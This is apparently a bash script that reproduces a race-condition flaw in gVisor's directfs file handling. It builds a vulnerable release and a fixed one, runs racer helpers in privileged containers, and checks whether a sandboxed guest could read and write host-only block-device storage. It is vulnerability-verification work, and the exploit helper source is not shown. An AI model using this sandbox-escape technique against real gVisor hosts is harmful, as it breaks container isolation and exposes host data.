#!/bin/bash
# GVISOR-DIRECTFS-OPENHANDLE-TOCTOU production-path reproduction.
# Vulnerable release-20260928.0 vs fixed release-20261005.0.
set -euo pipefail
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
SRC="$REPRO_DIR/src"
BIN="$REPRO_DIR/bin"
RESULTS="$REPRO_DIR/results"
mkdir -p "$LOGS" "$REPRO_DIR" "$BIN" "$RESULTS"
cd "$ROOT"

REPO_URL="https://github.com/google/gvisor"
VULN_TAG="release-20260928.0"
VULN_COMMIT="6485c3fbdfe28172ced5d6aed49554cf494967db"
FIXED_TAG="release-20261005.0"
FIXED_COMMIT="97e8e896904cb364319cd9758241d3f0bd27a6f4"
FIX_COMMIT="cd968a36e5557215b5dcb8989011ce0e558b5dd0"
RACE_SECS="${RACE_SECS:-12}"
PLATFORM="${PLATFORM:-systrap}"
BUILDER_IMAGE="gvisor-runsc-builder:local"
log(){ echo "[repro $(date -u +%H:%M:%S)] $*"; }

# Always read the project cache context at runtime. Reuse its deterministic repo.
CACHE=""
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ]; then
  CACHE="$(jq -r 'select(.prepared==true) | .project_cache_dir // empty' "$CTX" 2>/dev/null || true)"
fi
if [ -z "$CACHE" ] || [ ! -d "$CACHE" ]; then
  CACHE="$ROOT/artifacts/gvisor-cache"
  log "prepared project cache unavailable; using $CACHE"
fi
mkdir -p "$CACHE" "$CACHE/build" "$CACHE/toolchain" "$CACHE/home"
REPO="$CACHE/repo"
REPO_FIXED="$CACHE/repo-fixed"

write_manifest(){
  local confirmed="$1" notes="$2" reached="$3"
  local listfile mapfile target_digest
  listfile="$(mktemp)"; mapfile="$(mktemp)"
  printf '[]' >"$listfile"; printf '{}' >"$mapfile"
  local f rel sha
  for f in "$RESULTS"/summary.txt "$RESULTS"/setup-*.log "$RESULTS"/guest-*.log \
           "$RESULTS"/guest-*.exit "$RESULTS"/swapper-*.log "$RESULTS"/fdwatch-*.log \
           "$RESULTS"/host-marker-*.bin "$RESULTS"/host-observation-*.log \
           "$RESULTS"/backing-sha-*.txt "$RESULTS"/runsc-version-*.txt \
           "$RESULTS"/source-identity.log "$RESULTS"/cuse-*.log; do
    [ -f "$f" ] || continue
    rel="${f#$ROOT/}"; sha="$(sha256sum "$f" | awk '{print $1}')"
    jq --arg x "$rel" '. + [$x]' "$listfile" >"$listfile.n" && mv "$listfile.n" "$listfile"
    jq --arg k "$rel" --arg v "$sha" '. + {($k):$v}' "$mapfile" >"$mapfile.n" && mv "$mapfile.n" "$mapfile"
  done
  target_digest="$(printf 'git:%s@%s' "$REPO_URL" "$VULN_COMMIT" | sha256sum | awk '{print $1}')"
  jq -n --arg detail "runsc directfs bind mount: host RENAME_EXCHANGE swaps cached regular inode with a host loop block-device node; guest aligned pread/pwrite proves host-only block access; fixed build rejects the type mismatch" \
    --argjson reached "$reached" --arg repo "$REPO_URL" --arg commit "$VULN_COMMIT" \
    --arg digest "$target_digest" --slurpfile arts "$listfile" --slurpfile shas "$mapfile" --arg notes "$notes" \
    '{entrypoint_kind:"local_action",entrypoint_detail:$detail,service_started:true,
      healthcheck_passed:$reached,target_path_reached:$reached,
      runtime_stack:["docker-privileged","runsc","gvisor-sentry","directfs","systrap","host-loop-device"],
      target_identity:{repository_url:$repo,commit_sha:$commit,target_digest:$digest,platform:"linux",architecture:"x86_64"},
      proof_artifacts:$arts[0],artifact_sha256:$shas[0],notes:$notes}' >"$REPRO_DIR/runtime_manifest.json"
  rm -f "$listfile" "$mapfile"
  log "runtime manifest written (confirmed=$confirmed)"
}
trap 'rc=$?; if [ ! -s "$REPRO_DIR/runtime_manifest.json" ]; then write_manifest false "reproduction aborted before evaluation (exit $rc); inspect bundle/logs/reproduction_steps.log" false || true; fi' EXIT

ensure_repo(){
  if [ ! -d "$REPO/.git" ]; then
    log "cloning gVisor"
    local mirror="$CACHE/repo-mirrors/gvisor.git"
    if [ -d "$mirror" ]; then git clone --filter=blob:none "$mirror" "$REPO" >>"$LOGS/reproduction_steps.log" 2>&1 || rm -rf "$REPO"; fi
    if [ ! -d "$REPO/.git" ]; then git clone --filter=blob:none "$REPO_URL" "$REPO" >>"$LOGS/reproduction_steps.log" 2>&1; fi
    git -C "$REPO" remote set-url origin "$REPO_URL"
  fi
  git -C "$REPO" fetch -q origin "refs/tags/$VULN_TAG" "refs/tags/$FIXED_TAG" >>"$LOGS/reproduction_steps.log" 2>&1 || true
  git -C "$REPO" checkout -q "$VULN_COMMIT" >>"$LOGS/reproduction_steps.log" 2>&1
  if [ ! -d "$REPO_FIXED" ]; then git -C "$REPO" worktree add --detach "$REPO_FIXED" "$FIXED_COMMIT" >>"$LOGS/reproduction_steps.log" 2>&1; fi
  [ "$(git -C "$REPO" rev-parse HEAD)" = "$VULN_COMMIT" ]
  [ "$(git -C "$REPO_FIXED" rev-parse HEAD)" = "$FIXED_COMMIT" ]
  ! git -C "$REPO" merge-base --is-ancestor "$FIX_COMMIT" "$VULN_COMMIT"
  git -C "$REPO" merge-base --is-ancestor "$FIX_COMMIT" "$FIXED_COMMIT"
  # Verify the actual patch hunk is absent/present, not just ancestry.
  ! grep -A35 'func (i \*directfsInode) openHandle' "$REPO/pkg/sentry/fsimpl/gofer/directfs_inode.go" | grep -q 'unix.Fstat(openFD'
  grep -A45 'func (i \*directfsInode) openHandle' "$REPO_FIXED/pkg/sentry/fsimpl/gofer/directfs_inode.go" | grep -q 'unix.Fstat(openFD'
  {
    echo "vulnerable_tag=$VULN_TAG commit=$VULN_COMMIT patch_present=false"
    echo "fixed_tag=$FIXED_TAG commit=$FIXED_COMMIT fix_commit=$FIX_COMMIT patch_present=true"
  } >"$RESULTS/source-identity.log"
  log "source identities and fix ancestry/hunk verified"
}

ensure_tools(){
  docker info >/dev/null 2>&1 || { log "FATAL: Docker unavailable"; return 1; }
  if [ ! -x "$CACHE/toolchain/bazelisk" ]; then
    curl -sfL -o "$CACHE/toolchain/bazelisk" https://github.com/bazelbuild/bazelisk/releases/download/v1.27.0/bazelisk-linux-amd64
    chmod +x "$CACHE/toolchain/bazelisk"
  fi
  if ! docker image inspect "$BUILDER_IMAGE" >/dev/null 2>&1; then
    docker build -f "$SRC/Dockerfile.builder" -t "$BUILDER_IMAGE" "$SRC" >>"$LOGS/reproduction_steps.log" 2>&1
  fi
}

build_runsc(){
  local role="$1" tag="$2" commit="$3" wt="$4" out="$CACHE/build/runsc-$2"
  if [ -f "$out" ] && [ "$(cat "$out.commit" 2>/dev/null)" = "$commit" ]; then log "runsc-$tag cached"; return; fi
  log "building runsc $tag"
  docker run --rm -u "$(id -u):$(id -g)" -e HOME=/cache/home -v "$CACHE":/cache \
    -w "/cache/$(basename "$wt")" "$BUILDER_IMAGE" \
    /cache/toolchain/bazelisk --output_user_root="/cache/bazel-out-$role" build -c opt \
    --repository_cache=/cache/bazel-repo-cache //runsc:runsc >>"$LOGS/build_$role.log" 2>&1
  local bb bin
  bb="$(readlink "$wt/bazel-bin")"; bb="${bb/#\/cache/$CACHE}"
  bin="$bb/runsc/runsc_/runsc"; [ -f "$bin" ] || bin="$bb/runsc/runsc"
  [ -f "$bin" ] || bin="$(find "$CACHE/bazel-out-$role" -type f -path '*runsc/runsc_/runsc' 2>/dev/null | head -1)"
  [ -n "$bin" ] && [ -f "$bin" ]
  cp "$bin" "$out"; echo "$commit" >"$out.commit"; sha256sum "$out" >"$out.sha256"
}

build_helpers(){
  gcc -O2 -static -o "$BIN/guest_block_racer" "$SRC/guest_block_racer.c"
  gcc -O2 -static -o "$BIN/host_block_swapper" "$SRC/host_block_swapper.c"
  gcc -O2 -static -o "$BIN/guest_cuse_identity" "$SRC/guest_cuse_identity.c"
  gcc -O2 -static -o "$BIN/host_cuse_swapper" "$SRC/host_cuse_swapper.c"
  rm -f "$BIN/runsc-vuln" "$BIN/runsc-fixed"
  cp "$CACHE/build/runsc-$VULN_TAG" "$BIN/runsc-vuln"
  cp "$CACHE/build/runsc-$FIXED_TAG" "$BIN/runsc-fixed"
  chmod +x "$BIN"/* "$SRC/race_block_inside.sh" "$SRC/cuse_identity_inside.sh"
  "$BIN/runsc-vuln" --version >"$RESULTS/runsc-version-vuln.txt" 2>&1
  "$BIN/runsc-fixed" --version >"$RESULTS/runsc-version-fixed.txt" 2>&1
}

run_product(){
  log "running two vulnerable and two fixed product attempts (platform=$PLATFORM directfs=true)"
  docker run --rm --privileged -e PLATFORM="$PLATFORM" -e RACE_SECS="$RACE_SECS" \
    -e CALLER_UID="$(id -u)" -e CALLER_GID="$(id -g)" \
    -v "$REPRO_DIR":/work "$BUILDER_IMAGE" bash /work/src/race_block_inside.sh >>"$LOGS/reproduction_steps.log" 2>&1
  log "running synchronized /dev/cuse identity control"
  docker run --rm --privileged -e PLATFORM="$PLATFORM" -e CALLER_UID="$(id -u)" -e CALLER_GID="$(id -g)" \
    -v "$REPRO_DIR":/work "$BUILDER_IMAGE" bash -lc 'bash /work/src/cuse_identity_inside.sh; chown -R "$CALLER_UID:$CALLER_GID" /work/results /work/bin' >>"$LOGS/reproduction_steps.log" 2>&1
}

evaluate(){
  local vw=0 fw=0 fr=0 vfd=0 ffd=0 a marker cuse_v=0 cuse_f=0
  for a in 1 2; do
    marker="GUEST_HOST_MARKER_vuln_${a}_91d7c3ee"
    grep -q "GUEST_HOST_BLOCK_READ: secret=HOST_ONLY_SECRET_4ec7309a" "$RESULTS/guest-vuln-$a.log" && \
    grep -q "GUEST_HOST_BLOCK_WRITE: marker=$marker" "$RESULTS/guest-vuln-$a.log" && \
    grep -aFq "$marker" "$RESULTS/host-marker-vuln-$a.bin" && vw=$((vw+1))
    grep -q HOST_FD_CORRELATED "$RESULTS/fdwatch-vuln-$a.log" && vfd=$((vfd+1))

    marker="GUEST_HOST_MARKER_fixed_${a}_91d7c3ee"
    grep -q "GUEST_HOST_BLOCK_WRITE: marker=$marker" "$RESULTS/guest-fixed-$a.log" && \
    grep -aFq "$marker" "$RESULTS/host-marker-fixed-$a.bin" && fw=$((fw+1))
    grep -qE 'estale=[1-9][0-9]*|eperm=[1-9][0-9]*' "$RESULTS/guest-fixed-$a.log" && fr=$((fr+1))
    grep -q HOST_FD_CORRELATED "$RESULTS/fdwatch-fixed-$a.log" && ffd=$((ffd+1))
  done
  grep -q "GUEST_CUSE_FD_OPEN" "$RESULTS/cuse-guest-vuln.log" && cuse_v=1
  grep -qE "estale=[1-9][0-9]*" "$RESULTS/cuse-guest-fixed.log" && cuse_f=1
  {
    echo "vulnerable_host_read_write_marker_attempts=$vw/2"
    echo "vulnerable_exact_sentry_loop_fd_correlations=$vfd/2"
    echo "fixed_host_write_marker_attempts=$fw/2"
    echo "fixed_rejection_attempts=$fr/2"
    echo "fixed_exact_sentry_loop_fd_correlations=$ffd/2"
    echo "vulnerable_cuse_fd_control=$cuse_v/1"
    echo "fixed_cuse_estale_control=$cuse_f/1"
  } | tee "$RESULTS/summary.txt"
  [ "$vw" -eq 2 ] && [ "$fw" -eq 0 ] && [ "$fr" -eq 2 ] && [ "$cuse_v" -eq 1 ] && [ "$cuse_f" -eq 1 ]
}

main(){
  : >"$LOGS/reproduction_steps.log"
  rm -f "$REPRO_DIR/runtime_manifest.json"
  log "=== gVisor directfs openHandle TOCTOU: host block-device read/write ==="
  ensure_repo; ensure_tools
  build_runsc vuln "$VULN_TAG" "$VULN_COMMIT" "$REPO"
  build_runsc fixed "$FIXED_TAG" "$FIXED_COMMIT" "$REPO_FIXED"
  build_helpers; run_product
  if evaluate; then
    log "CONFIRMED: vulnerable guest read and wrote host-only block backing storage twice; fixed release rejected the same swap twice"
    write_manifest true "release-20260928.0 guest gained host block-device read/write and created unique host backing-file markers in 2/2 attempts, and accepted a raced /dev/cuse FD; release-20261005.0 created 0 markers, rejected block-device opens, and returned ESTALE for the same /dev/cuse swap" true
    trap - EXIT; exit 0
  fi
  write_manifest false "Expected repeated vulnerable host marker and fixed rejection divergence was not established" true
  trap - EXIT; exit 1
}
main "$@"
